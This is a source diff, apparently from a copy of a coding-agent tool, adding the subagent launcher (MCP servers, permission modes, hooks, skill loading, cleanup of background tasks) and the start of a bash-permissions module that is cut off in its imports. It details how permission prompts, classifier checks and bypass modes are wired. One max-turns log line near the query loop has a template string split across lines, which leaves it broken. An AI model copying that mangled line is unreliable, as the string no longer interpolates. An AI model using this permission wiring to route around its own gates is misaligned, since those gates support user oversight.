+ * Initialize agent-specific MCP servers
+ * Agents can define their own MCP servers in their frontmatter that are additive
+ * to the parent's MCP clients. These servers are connected when the agent starts
+ * and cleaned up when the agent finishes.
+ *
+ * @param agentDefinition The agent definition with optional mcpServers
+ * @param parentClients MCP clients inherited from parent context
+ * @returns Merged clients (parent + agent-specific), agent MCP tools, and cleanup function
+ */
+async function initializeAgentMcpServers(
+  agentDefinition: AgentDefinition,
+  parentClients: MCPServerConnection[],
+): Promise<{
+  clients: MCPServerConnection[]
+  tools: Tools
+  cleanup: () => Promise<void>
+}> {
+  // If no agent-specific servers defined, return parent clients as-is
+  if (!agentDefinition.mcpServers?.length) {
+    return {
+      clients: parentClients,
+      tools: [],
+      cleanup: async () => {},
+    }
+  }
+
+  // When MCP is locked to plugin-only, skip frontmatter MCP servers for
+  // USER-CONTROLLED agents only. Plugin, built-in, and policySettings agents
+  // are admin-trusted — their frontmatter MCP is part of the admin-approved
+  // surface. Blocking them (as the first cut did) breaks plugin agents that
+  // legitimately need MCP, contradicting "plugin-provided always loads."
+  const agentIsAdminTrusted = isSourceAdminTrusted(agentDefinition.source)
+  if (isRestrictedToPluginOnly('mcp') && !agentIsAdminTrusted) {
+    logForDebugging(
+      `[Agent: ${agentDefinition.agentType}] Skipping MCP servers: strictPluginOnlyCustomization locks MCP to plugin-only (agent source: ${agentDefinition.source})`,
+    )
+    return {
+      clients: parentClients,
+      tools: [],
+      cleanup: async () => {},
+    }
+  }
+
+  const agentClients: MCPServerConnection[] = []
+  // Track which clients were newly created (inline definitions) vs. shared from parent
+  // Only newly created clients should be cleaned up when the agent finishes
+  const newlyCreatedClients: MCPServerConnection[] = []
+  const agentTools: Tool[] = []
+
+  for (const spec of agentDefinition.mcpServers) {
+    let config: ScopedMcpServerConfig | null = null
+    let name: string
+    let isNewlyCreated = false
+
+    if (typeof spec === 'string') {
+      // Reference by name - look up in existing MCP configs
+      // This uses the memoized connectToServer, so we may get a shared client
+      name = spec
+      config = getMcpConfigByName(spec)
+      if (!config) {
+        logForDebugging(
+          `[Agent: ${agentDefinition.agentType}] MCP server not found: ${spec}`,
+          { level: 'warn' },
+        )
+        continue
+      }
+    } else {
+      // Inline definition as { [name]: config }
+      // These are agent-specific servers that should be cleaned up
+      const entries = Object.entries(spec)
+      if (entries.length !== 1) {
+        logForDebugging(
+          `[Agent: ${agentDefinition.agentType}] Invalid MCP server spec: expected exactly one key`,
+          { level: 'warn' },
+        )
+        continue
+      }
+      const [serverName, serverConfig] = entries[0]!
+      name = serverName
+      config = {
+        ...serverConfig,
+        scope: 'dynamic' as const,
+      } as ScopedMcpServerConfig
+      isNewlyCreated = true
+    }
+
+    // Connect to the server
+    const client = await connectToServer(name, config)
+    agentClients.push(client)
+    if (isNewlyCreated) {
+      newlyCreatedClients.push(client)
+    }
+
+    // Fetch tools if connected
+    if (client.type === 'connected') {
+      const tools = await fetchToolsForClient(client)
+      agentTools.push(...tools)
+      logForDebugging(
+        `[Agent: ${agentDefinition.agentType}] Connected to MCP server '${name}' with ${tools.length} tools`,
+      )
+    } else {
+      logForDebugging(
+        `[Agent: ${agentDefinition.agentType}] Failed to connect to MCP server '${name}': ${client.type}`,
+        { level: 'warn' },
+      )
+    }
+  }
+
+  // Create cleanup function for agent-specific servers
+  // Only clean up newly created clients (inline definitions), not shared/referenced ones
+  // Shared clients (referenced by string name) are memoized and used by the parent context
+  const cleanup = async () => {
+    for (const client of newlyCreatedClients) {
+      if (client.type === 'connected') {
+        try {
+          await client.cleanup()
+        } catch (error) {
+          logForDebugging(
+            `[Agent: ${agentDefinition.agentType}] Error cleaning up MCP server '${client.name}': ${error}`,
+            { level: 'warn' },
+          )
+        }
+      }
+    }
+  }
+
+  // Return merged clients (parent + agent-specific) and agent tools
+  return {
+    clients: [...parentClients, ...agentClients],
+    tools: agentTools,
+    cleanup,
+  }
+}
+
+type QueryMessage =
+  | StreamEvent
+  | RequestStartEvent
+  | Message
+  | ToolUseSummaryMessage
+  | TombstoneMessage
+
+/**
+ * Type guard to check if a message from query() is a recordable Message type.
+ * Matches the types we want to record: assistant, user, progress, or system compact_boundary.
+ */
+function isRecordableMessage(
+  msg: QueryMessage,
+): msg is
+  | AssistantMessage
+  | UserMessage
+  | ProgressMessage
+  | SystemCompactBoundaryMessage {
+  return (
+    msg.type === 'assistant' ||
+    msg.type === 'user' ||
+    msg.type === 'progress' ||
+    (msg.type === 'system' &&
+      'subtype' in msg &&
+      msg.subtype === 'compact_boundary')
+  )
+}
+
+export async function* runAgent({
+  agentDefinition,
+  promptMessages,
+  toolUseContext,
+  canUseTool,
+  isAsync,
+  canShowPermissionPrompts,
+  forkContextMessages,
+  querySource,
+  override,
+  model,
+  maxTurns,
+  preserveToolUseResults,
+  availableTools,
+  allowedTools,
+  onCacheSafeParams,
+  contentReplacementState,
+  useExactTools,
+  worktreePath,
+  description,
+  transcriptSubdir,
+  onQueryProgress,
+}: {
+  agentDefinition: AgentDefinition
+  promptMessages: Message[]
+  toolUseContext: ToolUseContext
+  canUseTool: CanUseToolFn
+  isAsync: boolean
+  /** Whether this agent can show permission prompts. Defaults to !isAsync.
+   * Set to true for in-process teammates that run async but share the terminal. */
+  canShowPermissionPrompts?: boolean
+  forkContextMessages?: Message[]
+  querySource: QuerySource
+  override?: {
+    userContext?: { [k: string]: string }
+    systemContext?: { [k: string]: string }
+    systemPrompt?: SystemPrompt
+    abortController?: AbortController
+    agentId?: AgentId
+  }
+  model?: ModelAlias
+  maxTurns?: number
+  /** Preserve toolUseResult on messages for subagents with viewable transcripts */
+  preserveToolUseResults?: boolean
+  /** Precomputed tool pool for the worker agent. Computed by the caller
+   * (AgentTool.tsx) to avoid a circular dependency between runAgent and tools.ts.
+   * Always contains the full tool pool assembled with the worker's own permission
+   * mode, independent of the parent's tool restrictions. */
+  availableTools: Tools
+  /** Tool permission rules to add to the agent's session allow rules.
+   * When provided, replaces ALL allow rules so the agent only has what's
+   * explicitly listed (parent approvals don't leak through). */
+  allowedTools?: string[]
+  /** Optional callback invoked with CacheSafeParams after constructing the agent's
+   * system prompt, context, and tools. Used by background summarization to fork
+   * the agent's conversation for periodic progress summaries. */
+  onCacheSafeParams?: (params: CacheSafeParams) => void
+  /** Replacement state reconstructed from a resumed sidechain transcript so
+   * the same tool results are re-replaced (prompt cache stability). When
+   * omitted, createSubagentContext clones the parent's state. */
+  contentReplacementState?: ContentReplacementState
+  /** When true, use availableTools directly without filtering through
+   * resolveAgentTools(). Also inherits the parent's thinkingConfig and
+   * isNonInteractiveSession instead of overriding them. Used by the fork
+   * subagent path to produce byte-identical API request prefixes for
+   * prompt cache hits. */
+  useExactTools?: boolean
+  /** Worktree path if the agent was spawned with isolation: "worktree".
+   * Persisted to metadata so resume can restore the correct cwd. */
+  worktreePath?: string
+  /** Original task description from AgentTool input. Persisted to metadata
+   * so a resumed agent's notification can show the original description. */
+  description?: string
+  /** Optional subdirectory under subagents/ to group this agent's transcript
+   * with related ones (e.g. workflows/<runId> for workflow subagents). */
+  transcriptSubdir?: string
+  /** Optional callback fired on every message yielded by query() — including
+   * stream_event deltas that runAgent otherwise drops. Use to detect liveness
+   * during long single-block streams (e.g. thinking) where no assistant
+   * message is yielded for >60s. */
+  onQueryProgress?: () => void
+}): AsyncGenerator<Message, void> {
+  // Track subagent usage for feature discovery
+
+  const appState = toolUseContext.getAppState()
+  const permissionMode = appState.toolPermissionContext.mode
+  // Always-shared channel to the root AppState store. toolUseContext.setAppState
+  // is a no-op when the *parent* is itself an async agent (nested async→async),
+  // so session-scoped writes (hooks, bash tasks) must go through this instead.
+  const rootSetAppState =
+    toolUseContext.setAppStateForTasks ?? toolUseContext.setAppState
+
+  const resolvedAgentModel = getAgentModel(
+    agentDefinition.model,
+    toolUseContext.options.mainLoopModel,
+    model,
+    permissionMode,
+  )
+
+  const agentId = override?.agentId ? override.agentId : createAgentId()
+
+  // Route this agent's transcript into a grouping subdirectory if requested
+  // (e.g. workflow subagents write to subagents/workflows/<runId>/).
+  if (transcriptSubdir) {
+    setAgentTranscriptSubdir(agentId, transcriptSubdir)
+  }
+
+  // Register agent in Perfetto trace for hierarchy visualization
+  if (isPerfettoTracingEnabled()) {
+    const parentId = toolUseContext.agentId ?? getSessionId()
+    registerPerfettoAgent(agentId, agentDefinition.agentType, parentId)
+  }
+
+  // Log API calls path for subagents (ant-only)
+  if (process.env.USER_TYPE === 'ant') {
+    logForDebugging(
+      `[Subagent ${agentDefinition.agentType}] API calls: ${getDisplayPath(getDumpPromptsPath(agentId))}`,
+    )
+  }
+
+  // Handle message forking for context sharing
+  // Filter out incomplete tool calls from parent messages to avoid API errors
+  const contextMessages: Message[] = forkContextMessages
+    ? filterIncompleteToolCalls(forkContextMessages)
+    : []
+  const initialMessages: Message[] = [...contextMessages, ...promptMessages]
+
+  const agentReadFileState =
+    forkContextMessages !== undefined
+      ? cloneFileStateCache(toolUseContext.readFileState)
+      : createFileStateCacheWithSizeLimit(READ_FILE_STATE_CACHE_SIZE)
+
+  const [baseUserContext, baseSystemContext] = await Promise.all([
+    override?.userContext ?? getUserContext(),
+    override?.systemContext ?? getSystemContext(),
+  ])
+
+  // Read-only agents (Explore, Plan) don't act on commit/PR/lint rules from
+  // CLAUDE.md — the main agent has full context and interprets their output.
+  // Dropping claudeMd here saves ~5-15 Gtok/week across 34M+ Explore spawns.
+  // Explicit override.userContext from callers is preserved untouched.
+  // Kill-switch defaults true; flip tengu_slim_subagent_claudemd=false to revert.
+  const shouldOmitClaudeMd =
+    agentDefinition.omitClaudeMd &&
+    !override?.userContext &&
+    getFeatureValue_CACHED_MAY_BE_STALE('tengu_slim_subagent_claudemd', true)
+  const { claudeMd: _omittedClaudeMd, ...userContextNoClaudeMd } =
+    baseUserContext
+  const resolvedUserContext = shouldOmitClaudeMd
+    ? userContextNoClaudeMd
+    : baseUserContext
+
+  // Explore/Plan are read-only search agents — the parent-session-start
+  // gitStatus (up to 40KB, explicitly labeled stale) is dead weight. If they
+  // need git info they run `git status` themselves and get fresh data.
+  // Saves ~1-3 Gtok/week fleet-wide.
+  const { gitStatus: _omittedGitStatus, ...systemContextNoGit } =
+    baseSystemContext
+  const resolvedSystemContext =
+    agentDefinition.agentType === 'Explore' ||
+    agentDefinition.agentType === 'Plan'
+      ? systemContextNoGit
+      : baseSystemContext
+
+  // Override permission mode if agent defines one
+  // However, don't override if parent is in bypassPermissions or acceptEdits mode - those should always take precedence
+  // For async agents, also set shouldAvoidPermissionPrompts since they can't show UI
+  const agentPermissionMode = agentDefinition.permissionMode
+  const agentGetAppState = () => {
+    const state = toolUseContext.getAppState()
+    let toolPermissionContext = state.toolPermissionContext
+
+    // Override permission mode if agent defines one (unless parent is bypassPermissions, acceptEdits, or auto)
+    if (
+      agentPermissionMode &&
+      state.toolPermissionContext.mode !== 'bypassPermissions' &&
+      state.toolPermissionContext.mode !== 'acceptEdits' &&
+      !(
+        feature('TRANSCRIPT_CLASSIFIER') &&
+        state.toolPermissionContext.mode === 'auto'
+      )
+    ) {
+      toolPermissionContext = {
+        ...toolPermissionContext,
+        mode: agentPermissionMode,
+      }
+    }
+
+    // Set flag to auto-deny prompts for agents that can't show UI
+    // Use explicit canShowPermissionPrompts if provided, otherwise:
+    //   - bubble mode: always show prompts (bubbles to parent terminal)
+    //   - default: !isAsync (sync agents show prompts, async agents don't)
+    const shouldAvoidPrompts =
+      canShowPermissionPrompts !== undefined
+        ? !canShowPermissionPrompts
+        : agentPermissionMode === 'bubble'
+          ? false
+          : isAsync
+    if (shouldAvoidPrompts) {
+      toolPermissionContext = {
+        ...toolPermissionContext,
+        shouldAvoidPermissionPrompts: true,
+      }
+    }
+
+    // For background agents that can show prompts, await automated checks
+    // (classifier, permission hooks) before showing the permission dialog.
+    // Since these are background agents, waiting is fine — the user should
+    // only be interrupted when automated checks can't resolve the permission.
+    // This applies to bubble mode (always) and explicit canShowPermissionPrompts.
+    if (isAsync && !shouldAvoidPrompts) {
+      toolPermissionContext = {
+        ...toolPermissionContext,
+        awaitAutomatedChecksBeforeDialog: true,
+      }
+    }
+
+    // Scope tool permissions: when allowedTools is provided, use them as session rules.
+    // IMPORTANT: Preserve cliArg rules (from SDK's --allowedTools) since those are
+    // explicit permissions from the SDK consumer that should apply to all agents.
+    // Only clear session-level rules from the parent to prevent unintended leakage.
+    if (allowedTools !== undefined) {
+      toolPermissionContext = {
+        ...toolPermissionContext,
+        alwaysAllowRules: {
+          // Preserve SDK-level permissions from --allowedTools
+          cliArg: state.toolPermissionContext.alwaysAllowRules.cliArg,
+          // Use the provided allowedTools as session-level permissions
+          session: [...allowedTools],
+        },
+      }
+    }
+
+    // Override effort level if agent defines one
+    const effortValue =
+      agentDefinition.effort !== undefined
+        ? agentDefinition.effort
+        : state.effortValue
+
+    if (
+      toolPermissionContext === state.toolPermissionContext &&
+      effortValue === state.effortValue
+    ) {
+      return state
+    }
+    return {
+      ...state,
+      toolPermissionContext,
+      effortValue,
+    }
+  }
+
+  const resolvedTools = useExactTools
+    ? availableTools
+    : resolveAgentTools(agentDefinition, availableTools, isAsync).resolvedTools
+
+  const additionalWorkingDirectories = Array.from(
+    appState.toolPermissionContext.additionalWorkingDirectories.keys(),
+  )
+
+  const agentSystemPrompt = override?.systemPrompt
+    ? override.systemPrompt
+    : asSystemPrompt(
+        await getAgentSystemPrompt(
+          agentDefinition,
+          toolUseContext,
+          resolvedAgentModel,
+          additionalWorkingDirectories,
+          resolvedTools,
+        ),
+      )
+
+  // Determine abortController:
+  // - Override takes precedence
+  // - Async agents get a new unlinked controller (runs independently)
+  // - Sync agents share parent's controller
+  const agentAbortController = override?.abortController
+    ? override.abortController
+    : isAsync
+      ? new AbortController()
+      : toolUseContext.abortController
+
+  // Execute SubagentStart hooks and collect additional context
+  const additionalContexts: string[] = []
+  for await (const hookResult of executeSubagentStartHooks(
+    agentId,
+    agentDefinition.agentType,
+    agentAbortController.signal,
+  )) {
+    if (
+      hookResult.additionalContexts &&
+      hookResult.additionalContexts.length > 0
+    ) {
+      additionalContexts.push(...hookResult.additionalContexts)
+    }
+  }
+
+  // Add SubagentStart hook context as a user message (consistent with SessionStart/UserPromptSubmit)
+  if (additionalContexts.length > 0) {
+    const contextMessage = createAttachmentMessage({
+      type: 'hook_additional_context',
+      content: additionalContexts,
+      hookName: 'SubagentStart',
+      toolUseID: randomUUID(),
+      hookEvent: 'SubagentStart',
+    })
+    initialMessages.push(contextMessage)
+  }
+
+  // Register agent's frontmatter hooks (scoped to agent lifecycle)
+  // Pass isAgent=true to convert Stop hooks to SubagentStop (since subagents trigger SubagentStop)
+  // Same admin-trusted gate for frontmatter hooks: under ["hooks"] alone
+  // (skills/agents not locked), user agents still load — block their
+  // frontmatter-hook REGISTRATION here where source is known, rather than
+  // blanket-blocking all session hooks at execution time (which would
+  // also kill plugin agents' hooks).
+  const hooksAllowedForThisAgent =
+    !isRestrictedToPluginOnly('hooks') ||
+    isSourceAdminTrusted(agentDefinition.source)
+  if (agentDefinition.hooks && hooksAllowedForThisAgent) {
+    registerFrontmatterHooks(
+      rootSetAppState,
+      agentId,
+      agentDefinition.hooks,
+      `agent '${agentDefinition.agentType}'`,
+      true, // isAgent - converts Stop to SubagentStop
+    )
+  }
+
+  // Preload skills from agent frontmatter
+  const skillsToPreload = agentDefinition.skills ?? []
+  if (skillsToPreload.length > 0) {
+    const allSkills = await getSkillToolCommands(getProjectRoot())
+
+    // Filter valid skills and warn about missing ones
+    const validSkills: Array<{
+      skillName: string
+      skill: (typeof allSkills)[0] & { type: 'prompt' }
+    }> = []
+
+    for (const skillName of skillsToPreload) {
+      // Resolve the skill name, trying multiple strategies:
+      // 1. Exact match (hasCommand checks name, userFacingName, aliases)
+      // 2. Fully-qualified with agent's plugin prefix (e.g., "my-skill" → "plugin:my-skill")
+      // 3. Suffix match on ":skillName" for plugin-namespaced skills
+      const resolvedName = resolveSkillName(
+        skillName,
+        allSkills,
+        agentDefinition,
+      )
+      if (!resolvedName) {
+        logForDebugging(
+          `[Agent: ${agentDefinition.agentType}] Warning: Skill '${skillName}' specified in frontmatter was not found`,
+          { level: 'warn' },
+        )
+        continue
+      }
+
+      const skill = getCommand(resolvedName, allSkills)
+      if (skill.type !== 'prompt') {
+        logForDebugging(
+          `[Agent: ${agentDefinition.agentType}] Warning: Skill '${skillName}' is not a prompt-based skill`,
+          { level: 'warn' },
+        )
+        continue
+      }
+      validSkills.push({ skillName, skill })
+    }
+
+    // Load all skill contents concurrently and add to initial messages
+    const { formatSkillLoadingMetadata } = await import(
+      '../../utils/processUserInput/processSlashCommand.js'
+    )
+    const loaded = await Promise.all(
+      validSkills.map(async ({ skillName, skill }) => ({
+        skillName,
+        skill,
+        content: await skill.getPromptForCommand('', toolUseContext),
+      })),
+    )
+    for (const { skillName, skill, content } of loaded) {
+      logForDebugging(
+        `[Agent: ${agentDefinition.agentType}] Preloaded skill '${skillName}'`,
+      )
+
+      // Add command-message metadata so the UI shows which skill is loading
+      const metadata = formatSkillLoadingMetadata(
+        skillName,
+        skill.progressMessage,
+      )
+
+      initialMessages.push(
+        createUserMessage({
+          content: [{ type: 'text', text: metadata }, ...content],
+          isMeta: true,
+        }),
+      )
+    }
+  }
+
+  // Initialize agent-specific MCP servers (additive to parent's servers)
+  const {
+    clients: mergedMcpClients,
+    tools: agentMcpTools,
+    cleanup: mcpCleanup,
+  } = await initializeAgentMcpServers(
+    agentDefinition,
+    toolUseContext.options.mcpClients,
+  )
+
+  // Merge agent MCP tools with resolved agent tools, deduplicating by name.
+  // resolvedTools is already deduplicated (see resolveAgentTools), so skip
+  // the spread + uniqBy overhead when there are no agent-specific MCP tools.
+  const allTools =
+    agentMcpTools.length > 0
+      ? uniqBy([...resolvedTools, ...agentMcpTools], 'name')
+      : resolvedTools
+
+  // Build agent-specific options
+  const agentOptions: ToolUseContext['options'] = {
+    isNonInteractiveSession: useExactTools
+      ? toolUseContext.options.isNonInteractiveSession
+      : isAsync
+        ? true
+        : (toolUseContext.options.isNonInteractiveSession ?? false),
+    appendSystemPrompt: toolUseContext.options.appendSystemPrompt,
+    tools: allTools,
+    commands: [],
+    debug: toolUseContext.options.debug,
+    verbose: toolUseContext.options.verbose,
+    mainLoopModel: resolvedAgentModel,
+    // For fork children (useExactTools), inherit thinking config to match the
+    // parent's API request prefix for prompt cache hits. For regular
+    // sub-agents, disable thinking to control output token costs.
+    thinkingConfig: useExactTools
+      ? toolUseContext.options.thinkingConfig
+      : { type: 'disabled' as const },
+    mcpClients: mergedMcpClients,
+    mcpResources: toolUseContext.options.mcpResources,
+    agentDefinitions: toolUseContext.options.agentDefinitions,
+    // Fork children (useExactTools path) need querySource on context.options
+    // for the recursive-fork guard at AgentTool.tsx call() — it checks
+    // options.querySource === 'agent:builtin:fork'. This survives autocompact
+    // (which rewrites messages, not context.options). Without this, the guard
+    // reads undefined and only the message-scan fallback fires — which
+    // autocompact defeats by replacing the fork-boilerplate message.
+    ...(useExactTools && { querySource }),
+  }
+
+  // Create subagent context using shared helper
+  // - Sync agents share setAppState, setResponseLength, abortController with parent
+  // - Async agents are fully isolated (but with explicit unlinked abortController)
+  const agentToolUseContext = createSubagentContext(toolUseContext, {
+    options: agentOptions,
+    agentId,
+    agentType: agentDefinition.agentType,
+    messages: initialMessages,
+    readFileState: agentReadFileState,
+    abortController: agentAbortController,
+    getAppState: agentGetAppState,
+    // Sync agents share these callbacks with parent
+    shareSetAppState: !isAsync,
+    shareSetResponseLength: true, // Both sync and async contribute to response metrics
+    criticalSystemReminder_EXPERIMENTAL:
+      agentDefinition.criticalSystemReminder_EXPERIMENTAL,
+    contentReplacementState,
+  })
+
+  // Preserve tool use results for subagents with viewable transcripts (in-process teammates)
+  if (preserveToolUseResults) {
+    agentToolUseContext.preserveToolUseResults = true
+  }
+
+  // Expose cache-safe params for background summarization (prompt cache sharing)
+  if (onCacheSafeParams) {
+    onCacheSafeParams({
+      systemPrompt: agentSystemPrompt,
+      userContext: resolvedUserContext,
+      systemContext: resolvedSystemContext,
+      toolUseContext: agentToolUseContext,
+      forkContextMessages: initialMessages,
+    })
+  }
+
+  // Record initial messages before the query loop starts, plus the agentType
+  // so resume can route correctly when subagent_type is omitted. Both writes
+  // are fire-and-forget — persistence failure shouldn't block the agent.
+  void recordSidechainTranscript(initialMessages, agentId).catch(_err =>
+    logForDebugging(`Failed to record sidechain transcript: ${_err}`),
+  )
+  void writeAgentMetadata(agentId, {
+    agentType: agentDefinition.agentType,
+    ...(worktreePath && { worktreePath }),
+    ...(description && { description }),
+  }).catch(_err => logForDebugging(`Failed to write agent metadata: ${_err}`))
+
+  // Track the last recorded message UUID for parent chain continuity
+  let lastRecordedUuid: UUID | null = initialMessages.at(-1)?.uuid ?? null
+
+  try {
+    for await (const message of query({
+      messages: initialMessages,
+      systemPrompt: agentSystemPrompt,
+      userContext: resolvedUserContext,
+      systemContext: resolvedSystemContext,
+      canUseTool,
+      toolUseContext: agentToolUseContext,
+      querySource,
+      maxTurns: maxTurns ?? agentDefinition.maxTurns,
+    })) {
+      onQueryProgress?.()
+      // Forward subagent API request starts to parent's metrics display
+      // so TTFT/OTPS update during subagent execution.
+      if (
+        message.type === 'stream_event' &&
+        message.event.type === 'message_start' &&
+        message.ttftMs != null
+      ) {
+        toolUseContext.pushApiMetricsEntry?.(message.ttftMs)
+        continue
+      }
+
+      // Yield attachment messages (e.g., structured_output) without recording them
+      if (message.type === 'attachment') {
+        // Handle max turns reached signal from query.ts
+        if (message.attachment.type === 'max_turns_reached') {
+          logForDebugging(
+            `[Agent
+: $
+{
+  agentDefinition.agentType
+}
+] Reached max turns limit ($
+{
+  message.attachment.maxTurns
+}
+)`,
+          )
+          break
+        }
+        yield message
+        continue
+      }
+
+      if (isRecordableMessage(message)) {
+        // Record only the new message with correct parent (O(1) per message)
+        await recordSidechainTranscript(
+          [message],
+          agentId,
+          lastRecordedUuid,
+        ).catch(err =>
+          logForDebugging(`Failed to record sidechain transcript: ${err}`),
+        )
+        if (message.type !== 'progress') {
+          lastRecordedUuid = message.uuid
+        }
+        yield message
+      }
+    }
+
+    if (agentAbortController.signal.aborted) {
+      throw new AbortError()
+    }
+
+    // Run callback if provided (only built-in agents have callbacks)
+    if (isBuiltInAgent(agentDefinition) && agentDefinition.callback) {
+      agentDefinition.callback()
+    }
+  } finally {
+    // Clean up agent-specific MCP servers (runs on normal completion, abort, or error)
+    await mcpCleanup()
+    // Clean up agent's session hooks
+    if (agentDefinition.hooks) {
+      clearSessionHooks(rootSetAppState, agentId)
+    }
+    // Clean up prompt cache tracking state for this agent
+    if (feature('PROMPT_CACHE_BREAK_DETECTION')) {
+      cleanupAgentTracking(agentId)
+    }
+    // Release cloned file state cache memory
+    agentToolUseContext.readFileState.clear()
+    // Release the cloned fork context messages
+    initialMessages.length = 0
+    // Release perfetto agent registry entry
+    unregisterPerfettoAgent(agentId)
+    // Release transcript subdir mapping
+    clearAgentTranscriptSubdir(agentId)
+    // Release this agent's todos entry. Without this, every subagent that
+    // called TodoWrite leaves a key in AppState.todos forever (even after all
+    // items complete, the value is [] but the key stays). Whale sessions
+    // spawn hundreds of agents; each orphaned key is a small leak that adds up.
+    rootSetAppState(prev => {
+      if (!(agentId in prev.todos)) return prev
+      const { [agentId]: _removed, ...todos } = prev.todos
+      return { ...prev, todos }
+    })
+    // Kill any background bash tasks this agent spawned. Without this, a
+    // `run_in_background` shell loop (e.g. test fixture fake-logs.sh) outlives
+    // the agent as a PPID=1 zombie once the main session eventually exits.
+    killShellTasksForAgent(agentId, toolUseContext.getAppState, rootSetAppState)
+    /* eslint-disable @typescript-eslint/no-require-imports */
+    if (feature('MONITOR_TOOL')) {
+      const mcpMod =
+        require('../../tasks/MonitorMcpTask/MonitorMcpTask.js') as typeof import('../../tasks/MonitorMcpTask/MonitorMcpTask.js')
+      mcpMod.killMonitorMcpTasksForAgent(
+        agentId,
+        toolUseContext.getAppState,
+        rootSetAppState,
+      )
+    }
+    /* eslint-enable @typescript-eslint/no-require-imports */
+  }
+}
+
+/**
+ * Filters out assistant messages with incomplete tool calls (tool uses without results).
+ * This prevents API errors when sending messages with orphaned tool calls.
+ */
+export function filterIncompleteToolCalls(messages: Message[]): Message[] {
+  // Build a set of tool use IDs that have results
+  const toolUseIdsWithResults = new Set<string>()
+
+  for (const message of messages) {
+    if (message?.type === 'user') {
+      const userMessage = message as UserMessage
+      const content = userMessage.message.content
+      if (Array.isArray(content)) {
+        for (const block of content) {
+          if (block.type === 'tool_result' && block.tool_use_id) {
+            toolUseIdsWithResults.add(block.tool_use_id)
+          }
+        }
+      }
+    }
+  }
+
+  // Filter out assistant messages that contain tool calls without results
+  return messages.filter(message => {
+    if (message?.type === 'assistant') {
+      const assistantMessage = message as AssistantMessage
+      const content = assistantMessage.message.content
+      if (Array.isArray(content)) {
+        // Check if this assistant message has any tool uses without results
+        const hasIncompleteToolCall = content.some(
+          block =>
+            block.type === 'tool_use' &&
+            block.id &&
+            !toolUseIdsWithResults.has(block.id),
+        )
+        // Exclude messages with incomplete tool calls
+        return !hasIncompleteToolCall
+      }
+    }
+    // Keep all non-assistant messages and assistant messages without tool calls
+    return true
+  })
+}
+
+async function getAgentSystemPrompt(
+  agentDefinition: AgentDefinition,
+  toolUseContext: Pick<ToolUseContext, 'options'>,
+  resolvedAgentModel: string,
+  additionalWorkingDirectories: string[],
+  resolvedTools: readonly Tool[],
+): Promise<string[]> {
+  const enabledToolNames = new Set(resolvedTools.map(t => t.name))
+  try {
+    const agentPrompt = agentDefinition.getSystemPrompt({ toolUseContext })
+    const prompts = [agentPrompt]
+
+    return await enhanceSystemPromptWithEnvDetails(
+      prompts,
+      resolvedAgentModel,
+      additionalWorkingDirectories,
+      enabledToolNames,
+    )
+  } catch (_error) {
+    return enhanceSystemPromptWithEnvDetails(
+      [DEFAULT_AGENT_PROMPT],
+      resolvedAgentModel,
+      additionalWorkingDirectories,
+      enabledToolNames,
+    )
+  }
+}
+
+/**
+ * Resolve a skill name from agent frontmatter to a registered command name.
+ *
+ * Plugin skills are registered with namespaced names (e.g., "my-plugin:my-skill")
+ * but agents reference them with bare names (e.g., "my-skill"). This function
+ * tries multiple resolution strategies:
+ *
+ * 1. Exact match via hasCommand (name, userFacingName, aliases)
+ * 2. Prefix with agent's plugin name (e.g., "my-skill" → "my-plugin:my-skill")
+ * 3. Suffix match — find any command whose name ends with ":skillName"
+ */
+function resolveSkillName(
+  skillName: string,
+  allSkills: Command[],
+  agentDefinition: AgentDefinition,
+): string | null {
+  // 1. Direct match
+  if (hasCommand(skillName, allSkills)) {
+    return skillName
+  }
+
+  // 2. Try prefixing with the agent's plugin name
+  // Plugin agents have agentType like "pluginName:agentName"
+  const pluginPrefix = agentDefinition.agentType.split(':')[0]
+  if (pluginPrefix) {
+    const qualifiedName = `${pluginPrefix}:${skillName}`
+    if (hasCommand(qualifiedName, allSkills)) {
+      return qualifiedName
+    }
+  }
+
+  // 3. Suffix match — find a skill whose name ends with ":skillName"
+  const suffix = `:${skillName}`
+  const match = allSkills.find(cmd => cmd.name.endsWith(suffix))
+  if (match) {
+    return match.name
+  }
+
+  return null
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/BashTool/bashPermissions.ts b/_all-in-one-upload/cc-haha/src/tools/BashTool/bashPermissions.ts
new file mode 100644
index 0000000..83b3c63
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/BashTool/bashPermissions.ts
@@ -0,0 +1,2621 @@
+import { feature } from 'bun:bundle'
+import { APIUserAbortError } from '@anthropic-ai/sdk'
+import type { z } from 'zod/v4'
+import { getFeatureValue_CACHED_MAY_BE_STALE } from '../../services/analytics/growthbook.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import type { ToolPermissionContext, ToolUseContext } from '../../Tool.js'
+import type { PendingClassifierCheck } from '../../types/permissions.js'
+import { count } from '../../utils/array.js'
+import {
+  checkSemantics,
+  nodeTypeId,
+  type ParseForSecurityResult,
+  parseForSecurityFromAst,
+  type Redirect,
+  type SimpleCommand,
+} from '../../utils/bash/ast.js'
+import {
+  type CommandPrefixResult,
+  extractOutputRedirections,
+  getCommandSubcommandPrefix,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { parseCommandRaw } from '../../utils/bash/parser.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getCwd } from '../../utils/cwd.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+import { AbortError } from '../../utils/errors.js'
+import type {
+  ClassifierBehavior,
+  ClassifierResult,
+} from '../../utils/permissions/bashClassifier.js'
+import {
+  classifyBashCommand,
+  getBashPromptAllowDescriptions,
+  getBashPromptAskDescriptions,
+  getBashPromptDenyDescriptions,
+  isClassifierPermissionsEnabled,
+} from '../../utils/permissions/bashClassifier.js'
+import type {
+  PermissionDecisionReason,
+  PermissionResult,
+} from '../../utils/permissions/PermissionResult.js'
+import type {
+  PermissionRule,
+  PermissionRuleValue,
+} from '../../utils/permissions/PermissionRule.js'
+import { extractRules } from '../../utils/permissions/PermissionUpdate.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import { permissionRuleValueToString } from '../../utils/permissions/permissionRuleParser.js'
+import {
+  createPermissionRequestMessage,
+  getRuleByContentsForTool,
+} from '../../utils/permissions/permissions.js'
+import {
+  parsePermissionRule,
+  type ShellPermissionRule,
+  matchWildcardPattern as sharedMatchWildcardPattern,
+  permissionRuleExtractPrefix as sharedPermissionRuleExtractPrefix,
